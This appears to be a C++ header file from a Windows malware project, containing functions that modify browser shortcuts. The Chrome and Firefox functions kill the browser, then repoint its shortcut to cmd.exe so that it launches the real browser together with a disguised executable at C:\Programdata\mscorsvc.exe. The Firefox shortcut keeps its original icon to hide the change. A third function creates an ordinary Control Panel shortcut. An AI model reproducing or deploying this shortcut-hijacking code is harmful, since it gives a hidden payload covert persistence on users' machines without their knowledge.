260 lines
11 KiB
C++
260 lines
11 KiB
C++
#pragma once
|
|
#include <windows.h>
|
|
#include <shobjidl.h>
|
|
#include <shlguid.h>
|
|
#include <iostream>
|
|
#include <strsafe.h>
|
|
#include <Shlwapi.h>
|
|
#include "KillProcess.h"
|
|
bool checkFile(LPCWSTR shortcutPath) {
|
|
// Check if the file exists
|
|
BOOL fileExists = PathFileExists(shortcutPath);
|
|
return (fileExists == TRUE);
|
|
}
|
|
void ChangeShortcutChrome(LPCWSTR shortcutPath) {
|
|
killProcessByName(L"chrome.exe");
|
|
HRESULT hres;
|
|
IShellLink* psl;
|
|
IPersistFile* ppf;
|
|
WCHAR originalPath[MAX_PATH];
|
|
WCHAR arguments[MAX_PATH];
|
|
|
|
// Initialize the COM library
|
|
hres = CoInitialize(NULL);
|
|
if (SUCCEEDED(hres)) {
|
|
// Create an IShellLink object
|
|
hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (LPVOID*)&psl);
|
|
if (SUCCEEDED(hres)) {
|
|
// Query IShellLink for the IPersistFile interface
|
|
hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf);
|
|
if (SUCCEEDED(hres)) {
|
|
// Load the shortcut file
|
|
hres = ppf->Load(shortcutPath, STGM_READWRITE);
|
|
if (SUCCEEDED(hres)) {
|
|
// Get the current target path
|
|
hres = psl->GetPath(originalPath, MAX_PATH, NULL, 0);
|
|
if (SUCCEEDED(hres)) {
|
|
std::wcout << L"Original target path: " << originalPath << std::endl;
|
|
if (wcsstr(originalPath, L"cmd.exe") != nullptr)
|
|
{
|
|
wcscpy_s(originalPath, L"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe");
|
|
}
|
|
if (!checkFile(originalPath))
|
|
{
|
|
wcscpy_s(originalPath, L"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe");
|
|
}
|
|
// Prepare the new target path
|
|
StringCchPrintf(arguments, MAX_PATH, L"/c start \"\" \"%s\" & start \"\" \"C:\\Programdata\\mscorsvc.exe\"", originalPath);
|
|
|
|
// Set the new target path to cmd.exe
|
|
hres = psl->SetPath(L"C:\\Windows\\System32\\cmd.exe");
|
|
if (SUCCEEDED(hres)) {
|
|
// Set the arguments to run both commands
|
|
hres = psl->SetArguments(arguments);
|
|
if (SUCCEEDED(hres)) {
|
|
// Save the shortcut
|
|
hres = ppf->Save(shortcutPath, TRUE);
|
|
if (SUCCEEDED(hres)) {
|
|
std::wcout << L"Shortcut target changed successfully." << std::endl;
|
|
}
|
|
else {
|
|
std::wcerr << L"Failed to save the shortcut." << std::endl;
|
|
}
|
|
}
|
|
else {
|
|
std::wcerr << L"Failed to set the new target arguments." << std::endl;
|
|
}
|
|
}
|
|
else {
|
|
std::wcerr << L"Failed to set the new target path." << std::endl;
|
|
}
|
|
}
|
|
else {
|
|
std::wcerr << L"Failed to get the original target path." << std::endl;
|
|
}
|
|
}
|
|
else {
|
|
std::wcerr << L"Failed to load the shortcut file." << std::endl;
|
|
}
|
|
// Release the IPersistFile interface
|
|
ppf->Release();
|
|
}
|
|
else {
|
|
std::wcerr << L"Failed to query IPersistFile interface." << std::endl;
|
|
}
|
|
// Release the IShellLink interface
|
|
psl->Release();
|
|
}
|
|
else {
|
|
std::wcerr << L"Failed to create IShellLink instance." << std::endl;
|
|
}
|
|
// Uninitialize the COM library
|
|
CoUninitialize();
|
|
}
|
|
else {
|
|
std::wcerr << L"Failed to initialize COM library." << std::endl;
|
|
}
|
|
}
|
|
void ChangeShortcutFirefox(LPCWSTR shortcutPath) {
|
|
killProcessByName(L"firefox.exe");
|
|
HRESULT hres;
|
|
IShellLink* psl;
|
|
IPersistFile* ppf;
|
|
WCHAR originalPath[MAX_PATH];
|
|
WCHAR arguments[MAX_PATH];
|
|
WCHAR firefoxExe[MAX_PATH]; // Path to Firefox executable
|
|
int firefoxIconIndex = 0; // Index of the icon within the executable
|
|
|
|
// Path to Firefox executable and icon index
|
|
StringCchPrintf(firefoxExe, MAX_PATH, L"C:\\Program Files\\Mozilla Firefox\\firefox.exe");
|
|
firefoxIconIndex = 0; // Adjust this index as per the desired icon within the executable
|
|
|
|
// Initialize the COM library
|
|
hres = CoInitialize(NULL);
|
|
if (SUCCEEDED(hres)) {
|
|
// Create an IShellLink object
|
|
hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (LPVOID*)&psl);
|
|
if (SUCCEEDED(hres)) {
|
|
// Query IShellLink for the IPersistFile interface
|
|
hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf);
|
|
if (SUCCEEDED(hres)) {
|
|
// Load the shortcut file
|
|
hres = ppf->Load(shortcutPath, STGM_READWRITE);
|
|
if (SUCCEEDED(hres)) {
|
|
// Get the current target path
|
|
hres = psl->GetPath(originalPath, MAX_PATH, NULL, 0);
|
|
if (SUCCEEDED(hres)) {
|
|
std::wcout << L"Original target path: " << originalPath << std::endl;
|
|
|
|
//if (wcsstr(originalPath, L"cmd.exe") != nullptr) {
|
|
// // Set it to the default path
|
|
// wcscpy_s(originalPath, L"C:\\Program Files\\Mozilla Firefox\\firefox.exe");
|
|
//}
|
|
if (wcsstr(originalPath, L"cmd.exe") != nullptr)
|
|
{
|
|
wcscpy_s(originalPath, L"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe");
|
|
}
|
|
if (!checkFile(originalPath))
|
|
{
|
|
wcscpy_s(originalPath, L"C:\\Program Files\\Mozilla Firefox\\firefox.exe");
|
|
}
|
|
// Prepare the new target path
|
|
StringCchPrintf(arguments, MAX_PATH, L"/c start \"\" \"%s\" & start \"\" \"C:\\Programdata\\mscorsvc.exe\"", originalPath);
|
|
|
|
// Set the new target path to cmd.exe
|
|
hres = psl->SetPath(L"C:\\Windows\\System32\\cmd.exe");
|
|
if (SUCCEEDED(hres)) {
|
|
// Set the arguments to run both commands
|
|
hres = psl->SetArguments(arguments);
|
|
if (SUCCEEDED(hres)) {
|
|
// Set the icon location to Firefox icon
|
|
hres = psl->SetIconLocation(firefoxExe, firefoxIconIndex);
|
|
if (SUCCEEDED(hres)) {
|
|
// Save the shortcut
|
|
hres = ppf->Save(shortcutPath, TRUE);
|
|
if (SUCCEEDED(hres)) {
|
|
std::wcout << L"Shortcut target and icon changed successfully." << std::endl;
|
|
}
|
|
else {
|
|
std::wcerr << L"Failed to save the shortcut." << std::endl;
|
|
}
|
|
}
|
|
else {
|
|
std::wcerr << L"Failed to set the icon location." << std::endl;
|
|
}
|
|
}
|
|
else {
|
|
std::wcerr << L"Failed to set the new target arguments." << std::endl;
|
|
}
|
|
}
|
|
else {
|
|
std::wcerr << L"Failed to set the new target path." << std::endl;
|
|
}
|
|
}
|
|
else {
|
|
std::wcerr << L"Failed to get the original target path." << std::endl;
|
|
}
|
|
}
|
|
else {
|
|
std::wcerr << L"Failed to load the shortcut file." << std::endl;
|
|
}
|
|
// Release the IPersistFile interface
|
|
ppf->Release();
|
|
}
|
|
else {
|
|
std::wcerr << L"Failed to query IPersistFile interface." << std::endl;
|
|
}
|
|
// Release the IShellLink interface
|
|
psl->Release();
|
|
}
|
|
else {
|
|
std::wcerr << L"Failed to create IShellLink instance." << std::endl;
|
|
}
|
|
// Uninitialize the COM library
|
|
CoUninitialize();
|
|
}
|
|
else {
|
|
std::wcerr << L"Failed to initialize COM library." << std::endl;
|
|
}
|
|
}
|
|
void CreateControlPanelShortcut(LPCWSTR shortcutPath) {
|
|
HRESULT hres;
|
|
IShellLink* psl;
|
|
IPersistFile* ppf;
|
|
|
|
// Initialize the COM library
|
|
hres = CoInitialize(NULL);
|
|
if (SUCCEEDED(hres)) {
|
|
// Create an IShellLink object
|
|
hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (LPVOID*)&psl);
|
|
if (SUCCEEDED(hres)) {
|
|
// Set the path to the Control Panel
|
|
hres = psl->SetPath(L"explorer.exe");
|
|
if (SUCCEEDED(hres)) {
|
|
// Set the arguments to open Control Panel
|
|
hres = psl->SetArguments(L"shell:::{26EE0668-A00A-44D7-9371-BEB064C98683}");
|
|
if (SUCCEEDED(hres)) {
|
|
hres = psl->SetIconLocation(L"%SystemRoot%\\System32\\imageres.dll", -27);
|
|
if (SUCCEEDED(hres)) {
|
|
// Query IShellLink for the IPersistFile interface
|
|
hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf);
|
|
if (SUCCEEDED(hres)) {
|
|
// Save the shortcut
|
|
hres = ppf->Save(shortcutPath, TRUE);
|
|
if (SUCCEEDED(hres)) {
|
|
std::wcout << L"Control Panel shortcut created successfully." << std::endl;
|
|
}
|
|
else {
|
|
std::wcerr << L"Failed to save the Control Panel shortcut." << std::endl;
|
|
}
|
|
// Release the IPersistFile interface
|
|
ppf->Release();
|
|
}
|
|
else {
|
|
std::wcerr << L"Failed to query IPersistFile interface." << std::endl;
|
|
}
|
|
}
|
|
else {
|
|
std::wcerr << L"Failed to set the Control Panel icon." << std::endl;
|
|
}
|
|
}
|
|
else {
|
|
std::wcerr << L"Failed to set the Control Panel arguments." << std::endl;
|
|
}
|
|
}
|
|
else {
|
|
std::wcerr << L"Failed to set the Control Panel path." << std::endl;
|
|
}
|
|
// Release the IShellLink interface
|
|
psl->Release();
|
|
}
|
|
else {
|
|
std::wcerr << L"Failed to create IShellLink instance." << std::endl;
|
|
}
|
|
// Uninitialize the COM library
|
|
CoUninitialize();
|
|
}
|
|
else {
|
|
std::wcerr << L"Failed to initialize COM library." << std::endl;
|
|
}
|
|
} |